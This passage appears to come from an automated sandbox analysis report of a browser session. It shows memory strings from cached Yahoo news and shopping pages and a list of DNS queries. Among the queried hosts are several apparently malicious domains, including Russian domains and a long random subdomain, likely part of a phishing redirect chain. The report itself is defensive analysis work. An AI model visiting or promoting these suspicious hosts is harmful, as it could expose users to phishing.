RegExp(`^https?://(${t.concat(o).join("\|")})(:\\d+)?$`),i=/^https:\/\/[a-z]+\.surveymonkey\.com\/r\/(\w+)(?:\?([^#]+))?(?:#(\w+))?$/,s=/^https:\/\/yahooresearch\.qualtrics\.com\/jfe\/form\/(\w+)(?:\?([^#]+))?(?:#(\w+))?$/,a="Q_Language",c=/\w+/,l=/^[\w-]+$/,d={CLOSE:{en:"Close",es:"Cerrar",fr:"Fermer",de:"Schlie equals www.yahoo.com (Yahoo)
Source: chromecache_1197.2.dr, chromecache_466.2.dr	String found in binary or memory: Amazon prices are rapidly dropping as well! October <a data-i13n=\"cpos:1;pos:1\" href=\"https://www.yahoo.com/topics/prime-day/\" data-ylk=\"slk:Prime Day;cpos:1;pos:1;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\">Prime Day</a> is officially<em> </em>slated for October 8 through October 9 (go mark your calendar!), but we're already seeing a bounty of deals equals www.yahoo.com (Yahoo)
Source: chromecache_1198.2.dr, chromecache_1077.2.dr	String found in binary or memory: Clinton said <a href=\"https://www.youtube.com/watch?v=4M3Itgp8G8s&t=1552s\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:during an interview;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\">during an interview</a> with equals www.youtube.com (Youtube)
Source: chromecache_1197.2.dr, chromecache_466.2.dr	String found in binary or memory: and this coverage will extend throughout all of Prime Big Deal Days, so check back often for updates.</p><h2 class=caas-jump-link-heading id=best-early-amazon-october-prime-day-tech-deals><strong>Best early Amazon October Prime Day tech deals</strong></h2><p>October Prime Day deals won't be live until, well, October! However, Amazon is already rolling out early markdowns as a lead-up to its second Prime Day of the year. Snap up these steals now.</p><p>If you have <a data-i13n=\"cpos:7;pos:1;elm:affiliate_link;elmt:premonetized\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2FtYXpvbnByaW1lP3RhZz15bGUwMS1wLXYtNnNjLTIwIiwiY29udGVudFV1aWQiOiJhOWYzOGEzYS1lYWNmLTQ1OWItYWNkMC1jZjlhMjMyNDUxYjIifQ&signature=AQAAAeUuYOiNsukE22WYW3mcm2RMed7Zz3HapSYFrRvUJ4MD&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Famazonprime&uuid=MdVIoT2BIPFtfv0p23099\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Amazon Prime;cpos:7;pos:1;elm:affiliate_link;elmt:premonetized;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\">Amazon Prime</a>, you equals www.yahoo.com (Yahoo)
Source: chromecache_1197.2.dr, chromecache_466.2.dr	String found in binary or memory: read on to see some of our fave items that are already on sale at Amazon.</p><h2 class=caas-jump-link-heading id=what-is-amazons-october-prime-day><strong>What </strong><strong><em>is </em></strong><strong>Amazon's October Prime Day?</strong></h2><p>Amazon Prime Day, launched in July 2015, is a massive site-wide savings event exclusive to Amazon Prime subscribers. The <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL3ByaW1lYmlnZGVhbGRheXM_dGFnPXlsZTAxLTIwIiwiY29udGVudFV1aWQiOiI2YWY1NWQ0OC1jNzRjLTQyNTYtYjNjNy1kODNjMmYwOWFhY2IiLCJvcmlnaW5hbFVybCI6Imh0dHBzOi8vd3d3LmFtYXpvbi5jb20vcHJpbWViaWdkZWFsZGF5cyIsImR5bmFtaWNDZW50cmFsVHJhY2tpbmdJZCI6dHJ1ZSwic2l0ZUlkIjoidXMtbGlmZXN0eWxlIiwicGFnZUlkIjoiMXAtYXV0b2xpbmsiLCJmZWF0dXJlSWQiOiJ0ZXh0LWxpbmsifQ&signature=AQAAAR-e5bI4Go3WiUwMft1MT8qm-WI8Lme59WHQqUGcSuYS&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fprimebigdealdays\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Amazon Prime Big Deal Days;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:2;pos:1;itc:0;sec:content-canvas\">Amazon Prime Big Deal Days</a> addition came in 2022, when Amazon introduced the Prime Early Access Sale that October as a discount-heavy kickoff to holiday shopping. Last year, they officially changed the name to Prime Big Deal Days to complement the popular July Prime Day event.</p><p>If you're not yet a Prime member but still want to take advantage of Prime Big Deal Days, don't sweat it equals www.yahoo.com (Yahoo)
Source: chromecache_1198.2.dr, chromecache_1077.2.dr	String found in binary or memory:  and later <a href=\"https://www.youtube.com/watch?v=rl0yBKwn25c\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:by Henderson herself;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\">by Henderson herself</a>.</p><p>Noting that he talked to Henderson a lot about his love of music, Williams told <em>Us</em> about asking out his TV mom.</p><p><strong><em>Sign up for </em><a href=\"https://forms.dotdashmeredith.com/ew-tv-inline-offer\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Entertainment Weekly's;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\">Entertainment Weekly's</a><em><a href=\"https://forms.dotdashmeredith.com/ew-tv-inline-offer\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk: free daily newsletter;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\"> free daily newsletter</a> to get breaking TV news, exclusive first looks, recaps, reviews, interviews with your favorite stars, and more.</em></strong></p><p> equals www.youtube.com (Youtube)
Source: chromecache_1198.2.dr	String found in binary or memory: </p><h3>President Biden to visit after promising help from Washington</h3><p>The President will visit impacted communities from the storm later this week, the White House said Sunday evening.</p><p>On Sunday, Biden spoke with Georgia Gov. Brian Kemp and North Carolina Gov. Roy Cooper as well as other officials across North Carolina, Tennessee, Florida and South Carolina.</p><p>He was briefed Sunday by Federal Emergency Management Agency Administrator Deanne Criswell and Homeland Security Adviser Liz Sherwood-Randall on recovery efforts from Hurricane Helene. <a href=\"https://www.facebook.com/FEMA/posts/pfbid0ToAeDgk3N92Gz7PMqPAChKcstSsiKVNce5WTMUgZBKJMxwMhJYFaq5uhhovDX7nBl\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Criswell visited Georgia;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\">Criswell visited Georgia</a> on Sunday and is set to go to North Carolina on Monday.</p><p>The White House said Biden monitored recovery efforts while in Rehoboth Beach, Delaware, this weekend, after approving pre-landfall emergency declarations for Florida, Georgia, North Carolina, and Alabama. He subsequently issued declarations for Tennessee and Virginia.</p><figure class=caas-figure><div class=caas-figure-with-pb style=\"max-height: 540px\"><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader\" style=padding-bottom:56% data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/MqadlSgH3Q.qChmj2XBAtw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTE5MjA7aD0xMDgw/https://media.zenfs.com/en/cnn_articles_875/cd55c5c34909e84198fe2cf1768eacc1><span class=caas-img-wrapper><img class=\"caas-img caas-lazy has-preview\" alt=\"Heavy rains from hurricane Helene caused record flooding and damage on September 28 in Asheville, North Carolina. - Melissa Sue Gerrits/Getty Images\" data-src=https://s.yimg.com/ny/api/res/1.2/R0_NvQb2uE4TbqZHm1ozZA--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTU0MA--/https://media.zenfs.com/en/cnn_articles_875/cd55c5c34909e84198fe2cf1768eacc1><noscript><img alt=\"Heavy rains from hurricane Helene caused record flooding and damage on September 28 in Asheville, North Carolina. - Melissa Sue Gerrits/Getty Images\" src=https://s.yimg.com/ny/api/res/1.2/R0_NvQb2uE4TbqZHm1ozZA--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTU0MA--/https://media.zenfs.com/en/cnn_articles_875/cd55c5c34909e84198fe2cf1768eacc1 class=caas-img></noscript><button class=\"link rapid-noclick-resp caas-lightbox\" aria-label=\"View larger image\" data-ylk=sec:image-lightbox;slk:lightbox-open;elm:expand;itc:1><span class=\"openArrows icon\"><svg width=22 height=22 viewBox=\"0 0 22 22\"><path d=\"M12.372 0.92C12.372 0.414 12.782 0.004 13.287 0.004L21 0L20.996 7.712C20.996 8.217 20.586 8.628 20.08 8.628C19.574 8.628 19.164 8.217 19.164 7.712V3.183L12.337 10.011L10.988 8.663L17.816 1.835H13.287C12.782 1.835 12.372 1.425 12.372 0.92ZM1.835 17.816L8.663 10.988L10.012 12.337L3.183 19.164H7.712C8.218 19.164 8.627 19.574 8.627 20.08C8.627 20.586 8.218 20.995 7.712 20.995
Source: chromecache_1077.2.dr	String found in binary or memory: </p><h3>President Biden to visit after promising help from Washington</h3><p>The President will visit impacted communities from the storm later this week, the White House said Sunday evening.</p><p>On Sunday, Biden spoke with Georgia Gov. Brian Kemp and North Carolina Gov. Roy Cooper as well as other officials across North Carolina, Tennessee, Florida and South Carolina.</p><p>He was briefed Sunday by Federal Emergency Management Agency Administrator Deanne Criswell and Homeland Security Adviser Liz Sherwood-Randall on recovery efforts from Hurricane Helene. <a href=\"https://www.facebook.com/FEMA/posts/pfbid0ToAeDgk3N92Gz7PMqPAChKcstSsiKVNce5WTMUgZBKJMxwMhJYFaq5uhhovDX7nBl\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Criswell visited Georgia;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\">Criswell visited Georgia</a> on Sunday and is set to go to North Carolina on Monday.</p><p>The White House said Biden monitored recovery efforts while in Rehoboth Beach, Delaware, this weekend, after approving pre-landfall emergency declarations for Florida, Georgia, North Carolina, and Alabama. He subsequently issued declarations for Tennessee and Virginia.</p><figure class=caas-figure><div class=caas-figure-with-pb style=\"max-height: 540px\"><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader\" style=padding-bottom:56% data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/nAlYdkJf0leCx3QyOCMIIw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTE5MjA7aD0xMDgwO2NmPXdlYnA-/https://media.zenfs.com/en/cnn_articles_875/cd55c5c34909e84198fe2cf1768eacc1><span class=caas-img-wrapper><img class=\"caas-img caas-lazy has-preview\" alt=\"Heavy rains from hurricane Helene caused record flooding and damage on September 28 in Asheville, North Carolina. - Melissa Sue Gerrits/Getty Images\" data-src=https://s.yimg.com/ny/api/res/1.2/vQxpdcpZqA1MYz7FI3ftgg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTU0MDtjZj13ZWJw/https://media.zenfs.com/en/cnn_articles_875/cd55c5c34909e84198fe2cf1768eacc1><noscript><img alt=\"Heavy rains from hurricane Helene caused record flooding and damage on September 28 in Asheville, North Carolina. - Melissa Sue Gerrits/Getty Images\" src=https://s.yimg.com/ny/api/res/1.2/vQxpdcpZqA1MYz7FI3ftgg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTU0MDtjZj13ZWJw/https://media.zenfs.com/en/cnn_articles_875/cd55c5c34909e84198fe2cf1768eacc1 class=caas-img></noscript><button class=\"link rapid-noclick-resp caas-lightbox\" aria-label=\"View larger image\" data-ylk=sec:image-lightbox;slk:lightbox-open;elm:expand;itc:1><span class=\"openArrows icon\"><svg width=22 height=22 viewBox=\"0 0 22 22\"><path d=\"M12.372 0.92C12.372 0.414 12.782 0.004 13.287 0.004L21 0L20.996 7.712C20.996 8.217 20.586 8.628 20.08 8.628C19.574 8.628 19.164 8.217 19.164 7.712V3.183L12.337 10.011L10.988 8.663L17.816 1.835H13.287C12.782 1.835 12.372 1.425 12.372 0.92ZM1.835 17.816L8.663 10.988L10.012 12.337L3.183 19.164H7.712C8.218 19.164 8.627 19.574 8.627 20.08C8.627 20.5
Source: chromecache_466.2.dr	String found in binary or memory: re planning on something like that to take up semi-permanent residence, it might behoove you to also purchase a smaller, lighter model that can move around. Also, look for wheels and a luggage-style telescoping handle, which makes relocating the big batteries much easier.</p><p><strong>Battery type:</strong> More power-station makers are switching to lithium iron phosphate (aka LiFePo4) batteries, which are known to be safer for home use than their lithium-ion counterparts. They also charge faster and have much longer lifespans, by most estimates anywhere from 3 to 5 times longer. That means a better return on your investment, even if you pay a little more up front.</p><figure class=caas-figure><div><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader noheight\" data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/5IdkClLBkEf3foV9JvLRgQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7Y2Y9d2VicA--/https://s.yimg.com/os/creatr-uploaded-images/2023-09/78543620-5d6c-11ee-a3fc-0dc8070025a4><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0RFRU5PLVBvcnRhYmxlLUdlbmVyYXRvci1PcHRpb25hbC1FbWVyZ2VuY3kvZHAvQjBDREJXVFo3Sy8_dGFnPXlsZTAxLXAtdi00aGQtMjAiLCJjb250ZW50VXVpZCI6Ijk2Y2Y3MGFjLTg3ZmItNDdlZi1iZTFjLTI1NWJmNDdiMDBjMiJ9&signature=AQAAAfqWwBO5bNmex9RJBkiXqnkFdtGWoQub9Ho1zIePPj7i&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FDEENO-Portable-Generator-Optional-Emergency%2Fdp%2FB0CDBWTZ7K%2F data-ylk><img class=\"caas-img caas-lazy\" alt=\"The Deeno GT power station.\" data-src=https://s.yimg.com/ny/api/res/1.2/3K5axd7IcBYR8yQz56jVlw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtjZj13ZWJw/https://s.yimg.com/os/creatr-uploaded-images/2023-09/78543620-5d6c-11ee-a3fc-0dc8070025a4><noscript><img alt=\"The Deeno GT power station.\" src=https://s.yimg.com/ny/api/res/1.2/3K5axd7IcBYR8yQz56jVlw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtjZj13ZWJw/https://s.yimg.com/os/creatr-uploaded-images/2023-09/78543620-5d6c-11ee-a3fc-0dc8070025a4 class=caas-img></noscript></a></div></div></div><div class=\"caption-wrapper caption-aligned-with-image\"><figcaption class=caption-collapse>The Deeno GT power station has front-facing ports and an informative display -- but no companion app. (Rick Broida/Yahoo News)</figcaption></div></figure><p><strong>Total output power:</strong> Different devices and appliances consume different amounts of power. A mini-fridge, for example, might use around 45 watts, while a full-size one might need more like 500. A simple space heater: 1,500 watts. A laptop: 90 watts. A CPAP machine: 30 to 60 watts. Consider numbers like those when evaluating a power station equals www.yahoo.com (Yahoo)
Source: chromecache_1197.2.dr	String found in binary or memory: re planning on something like that to take up semi-permanent residence, it might behoove you to also purchase a smaller, lighter model that can move around. Also, look for wheels and a luggage-style telescoping handle, which makes relocating the big batteries much easier.</p><p><strong>Battery type:</strong> More power-station makers are switching to lithium iron phosphate (aka LiFePo4) batteries, which are known to be safer for home use than their lithium-ion counterparts. They also charge faster and have much longer lifespans, by most estimates anywhere from 3 to 5 times longer. That means a better return on your investment, even if you pay a little more up front.</p><figure class=caas-figure><div><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader noheight\" data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/x7j1KEG2_xreSz_oNk9wOw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA-/https://s.yimg.com/os/creatr-uploaded-images/2023-09/78543620-5d6c-11ee-a3fc-0dc8070025a4><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL0RFRU5PLVBvcnRhYmxlLUdlbmVyYXRvci1PcHRpb25hbC1FbWVyZ2VuY3kvZHAvQjBDREJXVFo3Sy8_dGFnPXlsZTAxLXAtdi00aGQtMjAiLCJjb250ZW50VXVpZCI6Ijk2Y2Y3MGFjLTg3ZmItNDdlZi1iZTFjLTI1NWJmNDdiMDBjMiJ9&signature=AQAAAfqWwBO5bNmex9RJBkiXqnkFdtGWoQub9Ho1zIePPj7i&gcReferrer=https%3A%2F%2Fwww.amazon.com%2FDEENO-Portable-Generator-Optional-Emergency%2Fdp%2FB0CDBWTZ7K%2F data-ylk><img class=\"caas-img caas-lazy\" alt=\"The Deeno GT power station.\" data-src=https://s.yimg.com/ny/api/res/1.2/.HD6Dtp3yH7ju7cmF7owNw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MA--/https://s.yimg.com/os/creatr-uploaded-images/2023-09/78543620-5d6c-11ee-a3fc-0dc8070025a4><noscript><img alt=\"The Deeno GT power station.\" src=https://s.yimg.com/ny/api/res/1.2/.HD6Dtp3yH7ju7cmF7owNw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MA--/https://s.yimg.com/os/creatr-uploaded-images/2023-09/78543620-5d6c-11ee-a3fc-0dc8070025a4 class=caas-img></noscript></a></div></div></div><div class=\"caption-wrapper caption-aligned-with-image\"><figcaption class=caption-collapse>The Deeno GT power station has front-facing ports and an informative display -- but no companion app. (Rick Broida/Yahoo News)</figcaption></div></figure><p><strong>Total output power:</strong> Different devices and appliances consume different amounts of power. A mini-fridge, for example, might use around 45 watts, while a full-size one might need more like 500. A simple space heater: 1,500 watts. A laptop: 90 watts. A CPAP machine: 30 to 60 watts. Consider numbers like those when evaluating a power station equals www.yahoo.com (Yahoo)
Source: chromecache_1197.2.dr, chromecache_466.2.dr	String found in binary or memory: re signed up for <a data-i13n=\"elm:affiliate_link;sellerN:Walmart;elmt:;cpos:8;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=3719d8d4-5edd-4817-998a-91f3229e7323&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Walmart&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy53YWxtYXJ0LmNvbS9wbHVzPyIsImNvbnRlbnRVdWlkIjoiNTgwNTI2NmQtMDM5Mi00ZmM1LTk5ZTMtYjNiN2U5ZGNiOGUxIiwib3JpZ2luYWxVcmwiOiJodHRwczovL3d3dy53YWxtYXJ0LmNvbS9wbHVzPyJ9&signature=AQAAAW1I1695zHpLVCAegY-ycySRFsXPH1PBh3SWBoErB-WL&gcReferrer=https%3A%2F%2Fwww.walmart.com%2Fplus%3F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Walmart+;elm:affiliate_link;sellerN:Walmart;elmt:;cpos:8;pos:1;itc:0;sec:content-canvas\">Walmart+</a>. It equals www.yahoo.com (Yahoo)
Source: chromecache_1077.2.dr	String found in binary or memory: s clip played any role in the investigation.</p><div class=\"caas-sports-module caas-curated-links\"><div class=wafer-fetch data-wf-body='{\"m_id\":\"news\",\"ctrl\":\"CuratedLinks\",\"m_mode\":\"json\",\"config\":{\"isSmartphone\":false,\"requestId\":\"1pa4ckpjflnfm\",\"site\":\"frontpage\",\"xhrPathPrefix\":\"/sports_content_ms/_rcv/remote\",\"uuid\":\"cc162679-b996-3b22-bf08-a33e637cd3e7\",\"mpos\":6}}' data-wf-credentials=include data-wf-replace=1 data-wf-trigger=viewport data-wf-session-retry-count=2 data-wf-timeout=5000 data-wf-trigger-offset=\"600 0\" data-wf-url=https://sports.yahoo.com/sports_content_ms/_rcv/remote?m_id=news&ctrl=CuratedLinks&m_mode=json&&listId=a1db4da0-8ebc-11e8-9fff-e24388c7ae1b&uuid=cc162679-b996-3b22-bf08-a33e637cd3e7&header=Entertainment%20News&subheader=Music%2C%20TV%2C%20movies%20and%20more&mpos=6&headerLink=https://www.yahoo.com/news/entertainment&site=frontpage&xhrPathPrefix=/sports_content_ms/_rcv/remote><div class=caas-card-loader></div></div></div><p> equals www.yahoo.com (Yahoo)
Source: chromecache_1197.2.dr, chromecache_466.2.dr	String found in binary or memory: s easy to <a data-i13n=\"elm:affiliate_link;sellerN:Walmart;elmt:;cpos:9;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=3719d8d4-5edd-4817-998a-91f3229e7323&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Walmart&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy53YWxtYXJ0LmNvbS9wbHVzPyIsImNvbnRlbnRVdWlkIjoiNTgwNTI2NmQtMDM5Mi00ZmM1LTk5ZTMtYjNiN2U5ZGNiOGUxIiwib3JpZ2luYWxVcmwiOiJodHRwczovL3d3dy53YWxtYXJ0LmNvbS9wbHVzPyJ9&signature=AQAAAW1I1695zHpLVCAegY-ycySRFsXPH1PBh3SWBoErB-WL&gcReferrer=https%3A%2F%2Fwww.walmart.com%2Fplus%3F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:sign up for your free 30-day trial here;elm:affiliate_link;sellerN:Walmart;elmt:;cpos:9;pos:1;itc:0;sec:content-canvas\">sign up for your free 30-day trial here</a>. You equals www.yahoo.com (Yahoo)
Source: chromecache_466.2.dr	String found in binary or memory: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"news;nordstrom;shopping;shopping","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0V0W00000JIbmMUAT;revsp:yahoo_life_shopping_281;lpstaid:60ff7c91-851e-44a7-8400-9dddc9a53744;pt:content;pd:modal;ver:megastrm;pct:story","site_attribute":"wiki_topics=\"Nordstrom;Gilmore_Girls;Charlotte_Tilbury\" ctopid=\"1878000;10610489\" hashtag=\"news;nordstrom;shopping;1878000;10610489\" rs=\"lmsid:a0V0W00000JIbmMUAT;revsp:yahoo_life_shopping_281;lpstaid:60ff7c91-851e-44a7-8400-9dddc9a53744;pt:content;pd:modal;ver:megastrm;lu:0;pct:story\"","spaceid":"1197792446","site":"lifestyle","enabled":true,"pos":"","showBodyAds":false,"showPhotoAds":false},"alias":"ymedia-alias:shadow=i-scrolled-through-18000-nordstrom-new-fall-arrivals--here-are-my-25-favorites-210216826","canonicalSite":"lifestyle","canonicalUrl":"https://www.yahoo.com/lifestyle/i-scrolled-through-18000-nordstrom-new-fall-arrivals--here-are-my-25-favorites-210216826.html","categoryLabel":"Style","commentsAllowed":true,"commentsCount":0,"commerceArticleType":"discovery","contentMeta":{"adPostions":{"photos":{}},"bodySlots":{"commerceQuickOverviewSlot":{"id":"caas-commerce-quick-overview","insertIndex":1}},"cover":null,"embeds":null,"hasEmbedAtBeginning":false,"hasEmbedAtEnd":false,"hasYahooVideo":false,"isLongArticle":false,"potentialSlots":0,"outstreamAdPosition":-1,"readMorePosition":-1,"totalParagraphs":0,"contentI13n":{}},"contentType":"story","editorialPicksList":"6200f7cd-485c-44a6-9643-0097fb5f80c9","entities":[{"term":"WIKIID:Nordstrom","label":"Nordstrom","capAbtScore":"0.969","metaData":[{"visible":"false"}],"startchar":862,"endchar":870,"specialParentTags":["a","title"],"instanceParentTags":["a"]},{"term":"","label":"fall fashion","capAbtScore":"0.921","metaData":[{"visible":"false"}],"startchar":1205,"endchar":1216,"specialParentTags":["a"],"instanceParentTags":["a"]},{"term":"","label":"fall trends","capAbtScore":"0.897","metaData":[{"visible":"false"}],"startchar":595,"endchar":605,"specialParentTags":[],"instanceParentTags":[]},{"term":"","label":"fall shoes","capAbtScore":"0.853","metaData":[{"visible":"false"}],"startchar":1223,"endchar":1232,"specialParentTags":[],"instanceParentTags":[]},{"term":"","label":"fall home decor","capAbtScore":"0.843","metaData":[{"visible":"false"}],"startchar":1252,"endchar":1266,"specialParentTags":[],"instanceParentTags":[]},{"term":"WIKIID:Gilmore_Girls","label":"Gilmore Girls","capAbtScore":"0.753","metaData":[{"visible":"false"}],"startchar":658,"endchar":670,"specialParentTags":[],"instanceParentTags":[]},{"term":"YCT:001000616","score":"0.7","label":"Shopping"},{"term":"YMEDIA:CATEGORY=100000002","score":"1.0","label":""},{"term":"YMEDIA:CATEGORY=100000009","score":"1.0","label":""}],"factualPollId":null,"finalUrl":"https://www.yahoo.com/lifestyle/i-scrolled-through-18000-nordstrom-new-fall-arrivals--here-are-my-25-favorites-210216826.html","hasScribble":false,"hasSlickVideo

Source: global traffic	DNS traffic detected: DNS query: lipsoftinc.in
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: href.li
Source: global traffic	DNS traffic detected: DNS query: hfj.rontishet.ru
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ht4hkoldfwqkuse7qoti8nr4vfbfcgkyagnd3phsgq5swccnhjjxv.hocklahro.ru
Source: global traffic	DNS traffic detected: DNS query: yahoo.com
Source: global traffic	DNS traffic detected: DNS query: www.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: geo.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: geo.query.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: s.yimg.com
Source: global traffic	DNS traffic detected: DNS query: search.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: consent.cmp.oath.com
Source: global traffic	DNS traffic detected: DNS query: edge-mcdn.secure.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: guce.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: udc.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: noa.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: securepubads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: cdn.taboola.com
Source: global traffic	DNS traffic detected: DNS query: opus.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: ups.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: gps-aa.ybp.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: pa.ybp.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: trc.taboola.com
Source: global traffic	DNS traffic detected: DNS query: beacon.taboola.com
Source: global traffic	DNS traffic detected: DNS query: api.taboola.com
Source: global traffic	DNS traffic detected: DNS query: pm-widget.taboola.com
Source: global traffic	DNS traffic detected: DNS query: gum.criteo.com
Source: global traffic	DNS traffic detected: DNS query: tsdtocl.com
Source: global traffic	DNS traffic detected: DNS query: tags.bluekai.com
Source: global traffic	DNS traffic detected: DNS query: dpm.demdex.net
Source: global traffic	DNS traffic detected: DNS query: aa.agkn.com
Source: global traffic	DNS traffic detected: DNS query: uipglob.semasio.net
Source: global traffic	DNS traffic detected: DNS query: cms.analytics.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: images.taboola.com
Source: global traffic	DNS traffic detected: DNS query: uipus.semasio.net
Source: global traffic	DNS traffic detected: DNS query: pips.taboola.com
Source: global traffic	DNS traffic detected: DNS query: cds.taboola.com
Source: global traffic	DNS traffic detected: DNS query: i.clean.gg
Source: global traffic	DNS traffic detected: DNS query: pbs.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: idx.liadm.com
Source: global traffic	DNS traffic detected: DNS query: c2shb-oao.ssp.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: fastlane.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: display.bidder.taboola.com
Source: global traffic	DNS traffic detected: DNS query: htlb.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: bidder.criteo.com
Source: global traffic	DNS traffic detected: DNS query: rtb.openx.net
Source: global traffic	DNS traffic detected: DNS query: hbopenbid.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: prebid.media.net
Source: global traffic	DNS traffic detected: DNS query: tlx.3lift.com
Source: global traffic	DNS traffic detected: DNS query: ads.yieldmo.com
Source: global traffic	DNS traffic detected: DNS query: rp.liadm.com
Source: global traffic	DNS traffic detected: DNS query: beacon.bidder.taboola.com
Source: global traffic	DNS traffic detected: DNS query: pbd.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: finance.yahoo.com
Source: global traffic	DNS traffic detected: DNS query: s.aolcdn.com
Source: global traffic	DNS traffic detected: DNS query: ssum-sec.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: ads.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: u.openx.net
